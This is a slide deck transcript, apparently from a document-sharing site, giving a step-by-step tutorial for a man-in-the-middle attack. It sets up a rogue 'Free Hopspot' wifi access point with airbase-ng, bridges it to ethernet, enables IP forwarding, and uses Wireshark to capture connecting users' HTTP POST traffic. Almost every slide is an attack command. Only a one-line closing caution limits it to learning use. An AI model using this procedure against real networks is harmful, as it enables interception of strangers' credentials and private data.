Top Banner
Man In The Middle Using Bridged Interface and Wireshark By: Prof.Kailas Patil & Qaidjohar Jawadwala
21

Man in the Middle

Jan 31, 2016

Download

Documents

xyzzy

man in the middle
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Man in the Middle

Man In The Middle Using Bridged Interface and Wireshark

By:

Prof.Kailas Patil

&

Qaidjohar Jawadwala

Page 2: Man in the Middle

Step 1

Check your IP address

Command:: ifconfig eth0

Page 3: Man in the Middle

Step 2

Start the Monitoring Interface on wifi.

Command:: airmon-ng start wlan0

Page 4: Man in the Middle

Step 3

Start the wifi access point on your machine

Command:: airbase-ng –essid “Free Hopspot” –c 1 mon0

Page 5: Man in the Middle

Step 4

Check for the new interface.

Command:: ifconfig at0

Page 6: Man in the Middle

Install Bridging software brctl

apt-get install bridge-utils

Page 7: Man in the Middle

Step 5

Add a bridging interface.

Command:: brctl addbr BR1

Page 8: Man in the Middle

Step 6

Add your ethernet interface to bridging interface.

Command::

brctl addif BR1 eth0

Page 9: Man in the Middle

Step 7

Add your wireless interface(logical) to bridging interface. Command:: brctl addif BR1 at0

Page 10: Man in the Middle

Step 8

View your Bridge interfaces

Command:: brctl show

Page 11: Man in the Middle

Step 9

Change your ethernet interface address to null.

Command:: ifconfig eth0 0.0.0.0 up

Page 12: Man in the Middle

Step 10

Change your wireless interface(logical) address to null. Command:: ifconfig at0 0.0.0.0 up

Page 13: Man in the Middle

Step 11

Allocate an IP address to Bridge interface

Command::

ifconfig BR1 192.168.1.20/24 up

Page 14: Man in the Middle

Step 12

Switch on port forwarding between interfaces

Command::

echo 1 > /proc/sys/net/ipv4/ip_forward

Page 15: Man in the Middle

Step 13

Now Wait for a client to connect to your network.

Page 16: Man in the Middle

Step 14

Open wireshark on your machine

Page 17: Man in the Middle

Step 15

Select interface at0 and start monitoring on it

Page 18: Man in the Middle

Step 16

Wireshark will start capturing packets

Page 19: Man in the Middle

Step 17

Select packet with HTTP post request.

Right click on it and follow TCP Stream.

Page 20: Man in the Middle

Task Accomplished

Now you will be able to perform

Man In the Middle attack

through Bridging Technique

Page 21: Man in the Middle

Caution

Attacks are performed on private networks and are only for learning

purposes.

Thank You